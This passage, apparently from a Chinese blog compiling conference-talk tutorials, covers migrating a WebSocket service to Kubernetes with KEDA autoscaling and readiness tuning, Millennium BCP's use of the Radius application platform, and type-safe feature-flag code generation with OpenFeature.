最后,在 Linux 层面,我们会遇到临时端口。这些是操作系统为客户端连接分配的临时端口,对通信至关重要,但它们存在固有的限制。例如,由源 IP、目标 IP 和端口组成的连接四元组的上限略高于 65000。在 Linux 中,可用临时端口的范围由命名空间的 sysctl 配置定义。在 Kubernetes Pod 中运行时,其配置大约在 28000 个。如果这个范围耗尽,就无法建立新连接,导致连接失败,表现为请求丢弃和糟糕的用户体验。因此,我们必须考虑这些端口限制并设计可扩展的应用程序。

以下是查看和修改临时端口范围的示例:

# 查看当前临时端口范围
cat /proc/sys/net/ipv4/ip_local_port_range

# 在 Pod 的安全上下文中配置(示例片段)
# securityContext:
#   sysctls:
#   - name: net.ipv4.ip_local_port_range
#     value: "1024 65535"

除了临时端口,我们还需要考虑另一个关键的 Linux 组件:连接跟踪。这是 Linux 内核的一个核心功能,用于维护所有活动网络连接的表。此表对于有状态防火墙、网络地址转换和其他网络功能至关重要。然而,连接跟踪表也有固定大小。当此表变满时,新的连接尝试会被静默丢弃,影响应用程序的可用性,并导致难以诊断的问题。再次强调,了解这些限制并适当调整节点共享和邻域设置至关重要。

Rodrigo 已经勾勒出了我们在 WebSocket 下运作的约束:新连接成本高、需要调整各跳之间的超时、存在硬性限制阻止我们无限垂直扩展。在此背景下,让我们深入探讨最初的连接是如何建立的。

5:新架构与组件部署

现在,让我们看看新的内部构建的 WebSocket 管理器,我们如何将流量路由到那里,以及如何为那些重要的企业交易保持流量安全。

以下是我们的系统示意图,它将帮助我们突出显示各个组件以及它们为我们解决的问题。

首先是我们的明星组件:实时协作网关,它是 Fabio LB 和 Consul 的替代品。该团队完成的工作值得单独开一个话题来讨论,但这里有几个亮点:该应用使用与 VCPU 数量相等的线程来减少上下文切换;此外,所有入站和出站连接都在同一个线程中处理,这显著提高了性能;他们还用 jemalloc 替换了默认的内存分配器,这有助于防止因需要处理频率差异巨大的数据包大小而导致的内存碎片。

现在我们有了部署,如何将用户设备上的流量引导到我们闪亮的新 RTC 网关 Pod 上呢?AWS 负载均衡器控制器在这里发挥了关键作用。它原生支持 Kubernetes API,如 Ingress 和 Service,并且我们最终使用了名为 TargetGroupBinding 的自定义资源定义,它允许我们配置 ALB 如何将流量发送到我们的 Kubernetes Pod。

对于那些不熟悉目标组或 AWS 概念的人来说,它可以被概括为一种资源,允许我们配置负载均衡和流量协议如何工作到 Pod。

接下来,我们的 Pod 已经部署,流量正在流入,如何确保所有这些数据在传输过程中都是加密的,同时防止我们的 SRE 因为需要频繁轮换数千个证书而“跳窗”或“走消防通道”离开大楼呢?

这时,cert-manager 出现了,这是另一个非常宝贵的 CNCF 控制器。它使我们能够抽象出维护集群 PKI 的大部分工作。在这种情况下,我们可以自动配置有效期为一年、每月轮换的证书。结合我们节点最长 30 天的生命周期,意味着每个 Pod 在启动时都拥有一个崭新的证书。

6:优雅关闭与自动扩缩

如果你还记得 Rodrigo 之前展示的图表,我们从 EC2 上的有状态服务迁移到了 EKS 上的无状态服务。我们需要考虑的首要问题之一是如何处理关闭,如何优雅地排空连接。

我们将放大 ALB 目标组和 Pod 关闭生命周期之间的配置。首先,对于我们新的 RTC 网关 Pod,优雅关闭是什么样的?从用户体验的角度来看,我们不希望用户在缩容或滚动部署期间陷入连接频繁打开和关闭的卡顿循环中。

RTC 网关从应用侧通过实现一个协议来做到这一点,该协议可以向所有已连接的客户端发送关闭事件,然后对用户透明地获取到现有 Pod 的新连接。首先,我们确保 ALB 给予 RTC 网关充足的时间来完成每项任务。我们估计它应该能在两分钟内排空所有现有连接,因此我们将 ALB 上的注销延迟加倍设置为四分钟。接下来,我们不希望这些已关闭的连接再次连接到完全相同的 Pod。因此,使用我们的 preStop 钩子,我们确保在开始连接排空序列之前,Pod 已不再位于负载均衡池中。

现在我们的 Pod 可以平稳终止了,我们可以开始为预期负载做准备了。Rodrigo 之前指出了临时端口和连接跟踪等限制,强调了倾向于水平自动扩缩而非垂直自动扩缩的重要性。传统上,基于资源使用情况的扩缩在我们大约 80% 的情况下效果很好。

然而,由于这个 RTC 网关处理具有不同数据包大小和频率的连接(想象一下像这样的研讨会,每个人都在同一个白板上,与一个人在家里设计宇宙飞船的场景对比),仅靠基于资源的扩缩可能不够。幸运的是,对于代理来说,另一种有效管理饱和度的方法是限制每个 Pod 的并发活动连接数量。

团队随后进行了广泛的性能测试,以了解这里的资源比率概况,例如,处理一定数量的打开连接需要多少 CPU 和内存。然后,他们对 Pod 进行了优化和大小调整,以处理每个 Pod 大约 8000 个连接,同时它们可以远超这个峰值而不会出现任何性能下降。

这时,Keda 登场了。这个 Operator 允许我们基于打开连接的数量进行扩缩。以下是一个 Keda ScaledObject 的配置示例:

apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: rtc-gateway-scaler
spec:
  scaleTargetRef:
    name: rtc-gateway-deployment
  pollingInterval: 30
  cooldownPeriod: 300 # 5分钟冷却期防止抖动
  minReplicaCount: 2
  maxReplicaCount: 100
  advanced:
    horizontalPodAutoscalerConfig:
      behavior:
        scaleDown:
          stabilizationWindowSeconds: 300 # 5分钟滚动窗口防止在指标骤降时过早缩容
          policies:
          - type: Pods
            value: 1
            periodSeconds: 300 # 每5分钟最多缩容1个Pod
  triggers:
  - type: prometheus
    metadata:
      serverAddress: http://prometheus-server.monitoring.svc.cluster.local:9090
      metricName: active_connections_per_pod
      threshold: "8000"
      query: |
        avg(rate(rtc_gateway_connections_active[2m])) by (pod)

我们为快速扩容进行了优化(注意向上扩容没有限制),缓慢缩容(每五分钟最多一个 Pod),并设置了滚动采样窗口以防止在指标骤降时过早缩容,以及五分钟的冷却期以防止抖动。Keda 允许我们基于自定义指标(在我们的案例中是活动连接数)进行扩缩,这使我们能够将部署保持在饱和度水平以下。

7:负载均衡与高可用性

一旦我们配置了优雅关闭和自动扩缩,下一步就是负载均衡。我们如何确保每个 Pod 都在发挥作用,而不是在那里打哈欠,而其他 Pod 却在拼命工作?

我们再次考虑了 ALB 和 RTC 网关之间可用的交互和杠杆。我们考虑的两个可行的 WebSocket 负载均衡算法是轮询和最少活跃连接。经过研究,我自豪地向团队建议为什么应该使用最少活跃连接,因为与轮询不同,它可以防止旧的 Pod 过载。但结果出了问题:我们让新的 Pod 遭受了大量 WebSocket 连接的冲击。我没有预见到我们需要大规模进行的 CPU 密集型工作(如 TLS 握手),以及我们需要承受的延迟峰值。这对客户体验的风险是不可接受的。

因此,我们回到实验室,需要重新评估轮询和最少活跃连接这两种选择,看看如何减轻各自的缺点。为了减轻最少活跃连接的冷启动问题,我们可以降低连接速率,但这并不简单,因为慢启动与最少活跃连接不兼容。另一种尝试是预热应用程序,但这也不简单,因为我们需要找出哪些代码点负责,以及哪些连接可能需要预先建立。

于是我们把目光转回轮询。如何阻止旧的 Pod 过载?如果我们看一下这两个参与者,我们意识到单个就绪端点通常对正常的 HTTP 流量很有效,但对于 WebSocket,行为则截然不同。如果我们关注一个旧的 Pod,当我们使其就绪检查失败时,在当前状态下会发生两件事:ALB 探测失败,这意味着没有新连接会打开到这个 Pod(因为它是饱和的,这很好);然而,如果 Kubernetes 探测失败,Pod 将从服务中移除,从端点切片中移除,AWS 负载均衡器控制器会观察到这些变化,并在负载均衡器上开始排空序列。Pod 最终会超过优雅排空期,所有现有连接将被终止。由于 Rodrigo 指出建立新连接成本很高,并且再次失去连接的用户体验很差,这很糟糕。

因此,我们为目标组拆分出另一个专门的端点,以便我们可以单独发出信号,说明我们如何处理新连接和现有连接。然后,团队更新了 RTC 网关,当连接数超过 10000 时向目标组报告“未就绪”,当低于 9000 时再次报告“就绪”,同时持续告诉 Kubernetes 它是就绪的,这样我们就不会触碰那些现有连接。成功了!不再有冷启动,负载均衡了。

为了完成我们在高可用性方面的旅程,我想引导您了解我们遇到的两个有趣经历。

第一个与 HPA 算法本身有关。该算法具有容忍度,默认定义为 10%。在我们的案例中,由于我们使用 Amazon EKS,我们无法真正控制或更改它,因为我们无法访问 kube-controller-manager 设置。在许多情况下,这可能并不重要。但当我们谈论基于打开连接进行扩缩,谈论饱和度并避免在该场景下出错时,这就成了一个大问题。因此,在我们的案例中,开发人员真的希望基于定义的阈值进行扩缩,或者至少对阈值的位置有可预测的理解。所以在这种情况下,主要是关于理解容忍度,并在定义 ScaledObject 中的阈值时将其考虑在内。

第二个问题显示了 HPA 对可能急剧波动的指标有多么敏感,以及为什么您实际上应该在 ScaledObject 或 HPA 本身上定义扩容行为。正如 André 在开头展示 ScaledObject 定义时指出的,我们最初没有扩容策略。有趣的是,周三有一个来自 Keda 维护者的演讲,他们讨论了 Kubernetes 中扩缩的最佳实践,他们的第一个良好实践建议就是使用扩缩策略,而我们当时没有这样做。具体到我们的问题,在对我们的可观测性组件和 Keda 本身进行了一番“责任游戏”之后,我们查看了 keda-operator-metrics-apiserver 的代码、Keda Prometheus 标量器的代码,并在 Keda 和我们的 Prometheus 读取端点之间添加了一个代理,我们实际上发现并能够缩小范围,确定是我们的监控系统在这里行为不当,为查询提供了错误的数据点。即使您后来在图表或仪表板中历史性地查询该信息,那些行为不当的误导性信息也不再存在。但这只是进一步揭示了 HPA 系统会盲目且愉快地跟随那些行为不当的数据。解决方案在这里很简单,主要是定义扩缩策略,默认情况下,它允许每分钟最多扩容 100% 的 Pod 数量。这就是为什么我们在给定的扩缩事件中 Pod 数量翻倍的原因。我们通过控制和减少在一分钟时间范围内可以创建的 Pod 数量来缓解这个问题。

8:成果与总结

最后,我们已经快速浏览了将 WebSocket 管理器迁移到 Kubernetes 的旅程,重点介绍了一些使其成为可能的 Operator,以及我们发现的一些扩缩和负载均衡的“秘密”。让我们看看我们的成果。

这里展示了我们一个区域中一天内每个 Pod 的活动连接数。有三个事件我想提请你们注意:黄线标记了扩容开始被调用的时刻(当我们的平均值开始达到 8800 左右时);红线标记了旧 Pod 停止向目标组报告就绪的时刻;蓝线标记了它们再次开始报告就绪的时刻。当这种情况发生时,我们可以看到新 Pod 上的新连接速率急剧增加。但到此时,它们已经准备就绪、完成预热,并且基本上在向 ALB 发出“嘲讽”。

我们的初始连接延迟下降了 10 倍,使我们能够保持真正的实时性。同时,从 EC2 上的有状态设置迁移到 EKS 上的无状态设置,使我们每年节省了大约 4 万美元,这让我们的财务团队对我们微笑并眨眼。

现在,我已经总结了成果,我想把话筒交回给 Rodrigo,让他简要介绍一下 Miro 云平台的下一个步骤,并说声再见。

我们很高兴地分享,经过几年在生产环境中基于 Kubernetes 运行容器化工作负载,我们作为一个组织已经准备好迈出一大步。对于今天在这里讨论的架构特定部分,这意味着我们也在将我们的板服务器迁移到 Kubernetes,这是我们组织在计算和云整合方面的一个方向。

顺便说一句,如果你发现自己路过阿姆斯特丹,请来我们的办公室坐坐,我们很乐意在那里接待你。现在,再见,谢谢!

在本节课中,我们一起学习了如何将关键的有状态 WebSocket 服务迁移到 Kubernetes。我们从业务驱动和技术挑战入手,深入探讨了 WebSocket 协议特性、Linux 系统限制(临时端口、连接跟踪)等基础。接着,我们逐步拆解了新架构的部署,包括 RTC 网关、ALB 控制器和 cert-manager 的角色。然后,我们重点研究了实现稳定运行的关键操作:如何配置优雅关闭以排空连接,如何利用 Keda 基于自定义指标(活动连接数)进行自动扩缩,以及如何通过巧妙的双就绪端点策略解决 WebSocket 负载均衡的冷启动问题。最后,我们回顾了迁移带来的显著成果:性能提升、成本节约,并为未来的架构演进奠定了基础。希望这些“无人提及的扩展秘诀”能对你的云原生旅程有所启发。

059:Millennium BCP 如何利用 Radius 赋能开发者与运维者协作

在本教程中,我们将学习 Millennium BCP 如何利用开源项目 Radius 构建其内部开发者平台,以改善开发者与运维团队之间的协作。我们将了解 Radius 的核心概念,包括应用模型、基础设施配方和自定义资源,并通过实际演示展示其如何简化跨环境部署和平台扩展。

概述:什么是 Radius?🤔

上一节我们介绍了本次分享的背景。本节中,我们来看看 Radius 是什么以及它要解决的核心问题。

Radius 是一个云原生应用平台。它允许你定义一次应用,然后将其部署到本地环境、AWS 和 Azure。你可以将其作为独立工具使用,也可以与 Dapr 等配套技术结合。但更重要的是,像 Millennium BCP 这样的早期采用者正在将其集成到现有的内部开发者平台中,以提供应用模型并支持以应用为中心的场景。

平台工程师面临的一个关键挑战是,在分布式系统和云原生技术的世界里,越来越难以将“应用”作为一个整体实体来理解和操作。开发者每天设计、构建和支持的是应用,但底层的基础设施配置和部署细节却异常复杂。这种模糊性增加了开发者的认知负担,而内部开发者平台正是为了解决这种负担而设计的。Radius 的目标就是填补“应用模型”或“应用平台”这一空白,为平台工程师提供一个开源项目,让他们能够像利用其他技术一样,为 IDP 添加应用模型,从而为开发者提供更以应用为中心的体验。

Radius 如何助力平台与团队?🚀

上一节我们介绍了 Radius 的定位。本节中,我们来看看 Radius 具体通过哪些方式帮助应用团队和内部开发者平台建设。

Radius 主要通过以下四种方式提供价值:

以下是 Radius 的核心价值点:

  1. 改善企业应用团队协作:它让开发者能够真正专注于他们的应用代码,而无需过多关心基础设施配置和部署细节。
  2. 提供基础设施配方:运维人员可以预先定义好应用在本地、AWS 或 Azure 上部署时所需的基础设施规格。开发者随后可以自助式地获取这些基础设施资源。
  3. 生成应用关系图:每次部署 Radius 应用时,都会自动创建一个关系图,清晰展示应用的所有组件(如容器、数据库、缓存、前后端)及其连接方式。这使得团队中的任何人(SRE、开发者、架构师、运维)都能一目了然地了解生产环境中的部署状态。
  4. 保持云中立性与 GitOps 集成:它提供跨环境的一致部署体验,并可与现有的 GitOps 工作流(如 Flux,未来支持 Argo)集成。

演示一:跨环境部署应用 🌍

上一节我们了解了 Radius 的理论价值。本节中,我们通过一个具体演示来看看 Radius 如何实现“一次定义,多处部署”。

在这个演示中,我们将展示如何使用 Radius 将一个应用不加修改地部署到本地环境和 AWS 环境。在本地,应用将使用 Kubernetes 集群上的 Redis 缓存;在 AWS,一个“配方”会自动部署 MemoryDB。

演示步骤如下:

以下是部署过程的关键步骤:

  1. 设置环境:已经预先设置好本地的 Radius 控制平面和一个 AWS 环境,并对应两个工作空间。
  2. 定义配方:在本地,使用一个 Bicep 配方来部署 Redis 到 Kubernetes。在 AWS,使用一个 Terraform 配方来部署 MemoryDB。
  3. 查看应用定义:应用定义非常简单,包含一个前端容器和一个 Redis 缓存资源。前端容器通过一个 connection 声明与缓存连接。这个连接功能非常强大,它能让 Radius 在后台为开发者完成许多工作,包括在应用图中建立显式连接,以及将连接字符串和凭证等详细信息作为环境变量注入容器。
  4. 部署应用:在终端运行 rad run 命令来部署应用。命令会提供端口转发,以便我们查看运行中的应用。
  5. 验证应用:访问应用,可以看到 Radius 自动注入的环境变量,并且应用功能(如待办事项列表)正常工作。
  6. 查看应用图:通过 Radius 的仪表板(一个基于 Backstage 的 UI),可以直观地看到应用的关系图。即使是这个简单的双节点图,也清晰地展示了缓存和前端容器之间的连接。
  7. 部署到 AWS:使用 rad deploy 命令将同一个应用部署到 AWS 环境。
  8. 对比环境:通过 rad app graph 命令对比 AWS(左)和本地(右)的应用图。可以看到,前端容器的配置在两边是相同的,但底层部署的基础设施不同:AWS 侧是 MemoryDB 集群和子网组等 AWS 特定资源,本地侧则是运行 Redis 的 Kubernetes 资源。

这个演示清晰地展示了 Radius 如何轻松地将应用逻辑与支撑它的基础设施部署分离开来。

演示二:创建自定义应用资源 🛠️

上一节我们看到了 Radius 原生资源的能力。本节中,我们探讨平台工程团队更需要的功能:创建自定义应用资源。

Radius 内置的容器、Redis 缓存、数据库等原生资源很有用,但平台团队真正需要的是能够创建自定义应用资源并为这些资源建立目录。这种自定义资源使平台团队能够构建高度定制化的开发者体验。

自定义资源目录可以提供可浏览的集成文档,并能对任何类型的资源进行建模,无论是抽象的资源(如 Web 服务)还是具体的资源(如 DocumentDB)。这些自定义资源实际上充当了消费资源的开发者与提供资源的平台之间的契约。

下一个演示将展示如何创建一个自定义 Radius 资源,并用它为之前的待办事项应用添加新功能。既然是 2025 年,我们的演示应用必须包含 AI 功能。因此,我们将通过一个自定义资源来添加 OpenAI 集成。

演示步骤如下:

以下是创建和使用自定义资源的步骤:

  1. 定义新资源类型:创建一个名为 openai.mycompany.app 的资源类型定义文件。在其中,我们定义了一个 capacity 属性,要求开发者通过 T 恤尺码(小、中、大)来指定他们希望如何使用这个自定义资源。
  2. 上传资源定义:使用 rad resource-type create 命令将该文件上传到 Radius,让 Radius API 知晓并支持这个新资源,就像对待原生资源一样。
  3. 注册资源配方:为这个 OpenAI 资源注册一个配方。这里使用一个模板,通过 Azure OpenAI 来部署一个 GPT Turbo 模型。
  4. 开发者使用资源:开发者现在可以在应用定义中添加这个 openai.mycompany.app 资源。VS Code 和 Copilot 等开发工具能识别这个资源,并将其视为一等公民,提示开发者输入所需属性(如 capacity)。
  5. 建立连接:像之前一样,在前端容器和新的 AI 资源之间建立一个 connection,以便将 AI 集成注入前端容器。
  6. 部署与验证:再次运行 rad run 部署应用。Radius 会在 Azure 上创建 OpenAI 模型、Azure Cache for Redis 等基础设施。部署完成后,可以在应用 UI 中测试新的 Copilot 集成反馈功能。

这个演示展示了使用 Radius 扩展内部开发者平台是多么容易,无论是跨不同环境部署,还是创建满足特定需求的自定义资源。

Millennium BCP 的实践之路 📈

上一节我们看到了 Radius 的强大扩展能力。本节中,我们来听听 Millennium BCP 引入 Radius 的真实历程和收获。

Millennium BCP 的故事并非始于 Radius。早在 2021 年,他们就启动了一个雄心勃勃的计划,名为“从 8 天到 8 分钟”。目标是让一个微服务在所有环境中的构建和部署时间不超过 8 分钟,核心驱动力是加速服务交付。

他们需要摆脱“这个人构建基础设施,那个人部署应用”的旧模式,同时仍需尊重开发和基础设施是两个不同生命周期的事实。他们不仅想覆盖基础设施,还想覆盖整个 IT 生命周期,例如在 CMDB 中注册应用等。作为一个受监管的行业公司,他们需要对运行的一切负责,但又不想重复造轮子。

当时,他们拥有一个庞大的 Terraform 模块库。他们认识到,最关键的缺失环节是:将“应用”作为一等公民和 API。他们希望像管理软件一样管理基础设施,应用版本化、部署模式等成熟实践也应适用于基础设施。

起初,他们通过一个 Web UI 让开发者选择模板来创建微服务,生成一个 JSON 文件来描述应用的所有细节(名称、拓扑、技术依赖如缓存、数据库等)。这个 JSON 文件会被部分转换为开放应用模型定义,并传递给 GitOps 工具链。但他们发现这中间仍有差距。

经过近三年的探索和与 Radius 团队的交流,他们明确了差距所在:正是 Jonathan 演示的那种用户体验和用户自定义类型能力。现在,他们正在将团队迁移到新的模式上。

如今,他们的 CI 流水线会将 JSON 转换为 YAML 部署模板。这个模板是标准的 Kubernetes CD 资源,它引用了 Radius 配方。这个 YAML 文件由 GitOps 流程处理,最终完成基础设施的创建并与应用连接。

对于开发者来说,如果在自己的笔记本电脑上工作,只需注册一个在本地运行的静态前端配方即可。如果要部署到共享基础设施,就使用利用该共享基础设施的配方。无论通过 CLI、流水线还是 GitOps 使用,都可以将部署模板放入 Helm Chart 中。基础设施与应用版本一同被版本化,成为交付物的一部分

他们从中学到的经验

  • 促成正确的对话:团队不再讨论“我的数据库模式准备好了吗”,而是讨论“未来测试”、“渐进式发布”等更高阶的话题。
  • 整合最佳实践:如果有五个团队用不同方式创建数据库,就选出最佳模式,让所有人都遵循该模式,并将其放入配方中。
  • 预定义 SLO/SLA:运维团队知道他们需要支持什么,这些要求体现在服务等级协议和合同中。
  • 统一而灵活:开发者只需声明“我需要一个中型缓存”,而无需关心具体配置。平台确保以正确的方式满足需求。
  • 将应用成熟度实践推向基础设施:这是他们一直在努力并持续推进的方向。

总结与邀请 🤝

本节课中,我们一起学习了 Radius 如何作为一个云原生应用平台,通过引入应用模型来赋能开发者与运维者的协作。

我们回顾了 Millennium BCP 利用 Radius 构建内部开发者平台的旅程,看到了 Radius 如何通过基础设施配方实现跨环境的一致部署,以及如何通过自定义资源扩展平台能力。核心在于,Radius 提供的应用模型能力是大多数内部开发者平台的通用需求。

Nuno 和 Jonathan 希望传达的关键信息是,他们视 Radius 为开源社区带来的应用模型能力为大多数 IDP 的通用需求。因此,他们诚挚邀请大家加入 Radius 社区,共同协作,避免重复劳动,从协作中创造更大价值。

你可以通过上方二维码访问 Radius 文档,其中也包含了 GitHub 链接、社区活动信息以及月度社区会议的详情。如有问题,欢迎通过 Discord 联系。社区拥有非常活跃的支持频道,期待看到更多朋友的参与。

060:经验分享与代码生成实践

在本教程中,我们将学习什么是特性标志(Feature Flag),了解 Google 在长期实践中总结的经验教训,并重点介绍 OpenFeature 社区推出的全新代码生成工具(CI),它旨在通过类型安全的方式,彻底改变开发者使用特性标志的体验,避免常见的人为错误。

特性标志简介 🚩

特性标志是一种非常强大的技术,它允许你动态地改变应用程序的行为,而无需每次更改都发布新的二进制版本。这意味着你可以动态地启用或禁用某个特定功能,而无需修改源代码。

使用特性标志的主要优势包括:

  • 支持渐进式发布:它提供了二进制发布无法实现的更细粒度控制,允许你缓慢、逐步地启用新功能。
  • 降低风险:这为功能启用提供了更安全的方式。如果发现生产环境出现问题,通常可以快速禁用相关功能以缓解问题,这比正常的二进制发布要快得多。
  • 支持实验:特性标志的一个非常常见的用例是 A/B 测试。

Google 的经验与挑战 ⚠️

上一节我们介绍了特性标志的基本概念,本节中我们来看看 Google 是如何使用它们以及遇到了哪些挑战。

Google 从 2009 年就开始尝试使用特性标志,如今它已成为引入新功能和发布的事实标准方式。大约 70% 的开发者会定期使用特性标志。随之而来的是庞大的特性标志代码库,其中包含超过 150 万个活跃的特性标志。

然而,一个普遍存在的问题是,开发者喜欢引入特性标志,却不喜欢在之后清理它们。例如,YouTube 曾有一个有趣的政策:如果你想引入一个新的特性标志,就必须先清理掉另外两个旧的特性标志,以保持代码库的整洁。

特性标志的使用方式基本如前所述:渐进式发布和 A/B 测试。这对于确保我们能够安全地更改庞大的代码库、防止服务中断并快速缓解问题至关重要。

特性标志的典型问题

让我们看看在代码中如何使用一个特性标志。假设我们有一个 React 示例,我们想引入一个特性标志来在主页上显示新消息。

const showNewMessage = useFlag(‘new-message‘);
if (showNewMessage) {
    return <NewMessage />;
} else {
    return <OldMessage />;
}

但如果标志管理系统中的标志名称与代码中引用的名称完全不同呢?例如,开发者与产品经理不同步,导致名称不一致。当尝试查询这个标志的值时,在标志管理系统中找不到它,那么会发生什么?

在这种情况下,通常会回退到代码中设置的默认值(例如 true)。这可能导致功能在一夜之间对所有用户启用,完全失去了渐进式启用的能力。这就引出了一个根本问题:当标志服务和应用程序对标志的值有不同认知时,谁是正确的?什么是标志值的绝对真实来源?

标志的生命周期与一致性

特性标志允许你通过更改标志服务中的设置来影响宿主应用程序的行为。标志服务中的变更通常需要非常快速地传播。而应用程序的更新周期则相对较长,可能是每周或每几天一次。

这就导致标志在两个地方被引用,却以不同的发布周期进行更新。最终可能出现在标志服务中存在但应用程序中还没有,或者应用程序中存在但标志服务中还没有的情况。那么,标志的值应该是什么?我们评估标志值的正确视角是什么?

因此,我们需要认真思考如何正确地引入和发布标志,以及特性标志的完整生命周期。

以下是特性标志生命周期的几个关键步骤:

  1. 创建标志:在标志服务和宿主应用程序中引入它。
  2. 管理标志:缓慢或快速地逐步启用功能。
  3. 弃用标志:完成职责后,确保从代码中移除所有对该标志的引用。
  4. 删除标志:当代码中不再存在该标志时,从标志服务中将其删除。

但我们应该先在哪里更新?标志应该首先出现在代码中还是标志服务中?Google 的经验表明,如果先引入到代码中,可能会评估到一个不安全的默认值。但如果先引入到标志服务中,标志虽然存在,但暂时不会影响任何东西。

因此,我们得出的普遍观点是:标志必须首先在标志管理系统中定义,然后才允许存在于宿主应用程序中。我们完全禁止在标志服务中不存在的标志出现在宿主应用程序中。

然而,如何检查这一点呢?作为开发者,你必须检查标志是否在标志服务中,是否在应用程序中,这可能是相当繁琐的。我们仍然需要以某种方式在引入标志时达到最终的一致性。

人为错误导致的故障

除了上述挑战,实践中还会遇到一些人为错误。以下是几个实际发生过的故障例子:

  • 尾部空格:有人在标志名称中不小心添加了尾部空格,导致标志值意外评估,进而导致某个功能的使用率下降。
  • 默认值不匹配:代码中定义的默认值与标志管理系统中的默认值不匹配,导致功能在一夜之间全面启动,引发相关故障。
  • 过早删除:有人认为已经清理了代码中对某个特性标志的所有引用,于是从标志服务中删除了它。结果,标志回退到代码默认值,导致另一个故障,意外禁用了该功能。

作为开发者,我们当然希望小心谨慎。但更好的方式是,我们如何从工具层面帮助开发者,在问题发生前就解决它?整个过程应该是顺畅的。

OpenFeature 代码生成解决方案 🛠️

上一节我们探讨了传统特性标志使用方式的问题,本节中我们来看看 Google 的经验如何催生了 OpenFeature 的代码生成解决方案。

基于这些经验,Google 提出了引入代码生成的想法。我们根据标志配置生成所有标志访问器,生成类型安全的标志访问器。这在多个方面提供了巨大帮助:

  1. 避免错误:它有助于避免输入错误标志名等错误。
  2. 单一真实来源:它提供了可以直接在二进制中引用的标志的单一真实来源。
  3. 编译时检查:在弃用标志时,由于是代码生成的,任何你可能遗漏的陈旧引用都会导致应用程序无法编译,这是一个巨大的优势。

我们希望将这些经验教训带到开源世界。在过去的半年左右时间里,我们一直在讨论如何开发一个适合开源环境的代码生成工具。OpenFeature 社区非常欢迎我们,我们度过了一段愉快的时光。

什么是 OpenFeature?

OpenFeature 是一个 CNCF 孵化项目。它基本上是一个用于特性标志的开放规范。它试图统一开发者与特性标志交互的 SDK,并且可以跨许多不同的供应商工作。你也可以将其集成到自建的解决方案中。它甚至是一种同时接入多个供应商的方式。这是一个非常强大的抽象,如果你是刚刚开始使用特性标志,这是一种理想的方式。

那么,为什么要标准化呢?

  • 避免供应商锁定:你的代码中可能遍布对特定供应商 SDK 的引用,根据业务情况迁移可能相当具有挑战性。
  • 构建社区:基于这个社区,我们可以构建能与所有人共享的优秀工具。

OpenFeature 生态系统目前已经相当庞大,涵盖了多种技术栈。

OpenFeature 架构与代码生成

让我们深入了解 OpenFeature 的架构。回顾之前的图表,右边的标志管理系统可以是任何系统。左边是你的应用程序。OpenFeature 位于中间,左边是我们的 SDK,右边是我们称之为“提供者”(Provider)的部分。提供者是与你的其他系统(如标志管理服务)通信的接口。你可以轻松构建自己的提供者,但我们的生态系统中目前已经有数百个。

让我们看一个 Node.js 示例。在顶部,我们看到注册提供者(这应该在应用程序中只发生一次),然后我们可以创建一个客户端,并使用该客户端与你的特性标志进行交互。在这个例子中,我们使用 withCows 标志,并根据它控制控制台输出。

但你可能注意到,我们使用的是硬编码的字符串。这基本上是多年来的现状,大多数人都这样做。一些解决方法是硬编码你自己的配置文件。但在与 Google 的工程师交流后,我们非常清楚地认识到,这可能不是你真正想要的。

这就是 OpenFeature CI(代码生成倡议) 的用武之地。这是一个全新的倡议,我们大约三个月前开始了特别兴趣小组(SIG)。我们每周开会,正在积极开发这些东西。我们认为,这将是未来开始使用特性标志的明显方式。

OpenFeature CI 是一个命令行工具,我们真正致力于改善开发者体验。我们认为这里有巨大的机会。它主要有三个核心组件:

  1. 集成标志管理系统:我们将使其与供应商无关,因此它应该适用于任何工具,包括你自建的解决方案。
  2. 本地清单(Manifest)概念:我们希望能够从标志管理系统中获取数据,并在你的代码仓库中保留标志的引用。
  3. 代码生成:利用本地清单,我们可以进行代码生成。除此之外还有很多其他机会。

用户流程演示

以下是使用 OpenFeature CI 的典型用户流程:

  1. 创建特性标志:首先在标志管理系统中创建一个特性标志。例如,创建一个键为 offer-free-shipping 的标志。
  2. 获取清单:从标志管理系统中获取标志的最新状态。这会生成一个 JSON 文件,作为标志的基础表示,包含标志键、描述、失败时的默认行为等元数据。这是标志预期行为的真实来源。
  3. 生成客户端代码:运行 CI 工具,例如 generate node-js 命令。工具会使用清单文件生成一个类型安全的客户端文件,例如一个 OpenFeature TypeScript 文件。

所有变化都体现在这一行代码上。代码从使用不友好的字符串调用方式:

const offerFreeShipping = await client.getBooleanValue(‘offer-free-shipping‘, false);

变成了类型安全的方法调用:

const offerFreeShipping = await client.offerFreeShipping();

这虽然是一个小变化,但显著改善了开发者体验。它有效地消除了人为错误,提供了丰富的 IDE 集成(如自动补全和文档提示),并且让编译器在代码清理等方面为我们战斗。

总结 📝

本节课中我们一起学习了特性标志的核心概念、Google 在多年实践中总结的经验教训,以及 OpenFeature 社区如何将这些最佳实践转化为开源的代码生成工具。

我们了解到,传统的基于字符串的特性标志引用方式容易导致人为错误,如拼写错误、默认值不一致和清理困难。OpenFeature CI 通过从标志管理系统生成类型安全的客户端代码,为开发者提供了更安全、更高效的使用体验。它确保了标志引用的准确性,提供了更好的 IDE 支持,并利用编译时检查来防止常见问题。

如果你对尝试 OpenFeature CI 或为其贡献代码感兴趣,欢迎加入 OpenFeature 社区。这是一个正在快速发展的项目,我们期待你的反馈和参与,共同塑造特性标志的未来。

posted @ 2026-03-29 09:18  绝不原创的飞龙  阅读(3)  评论(0)    收藏  举报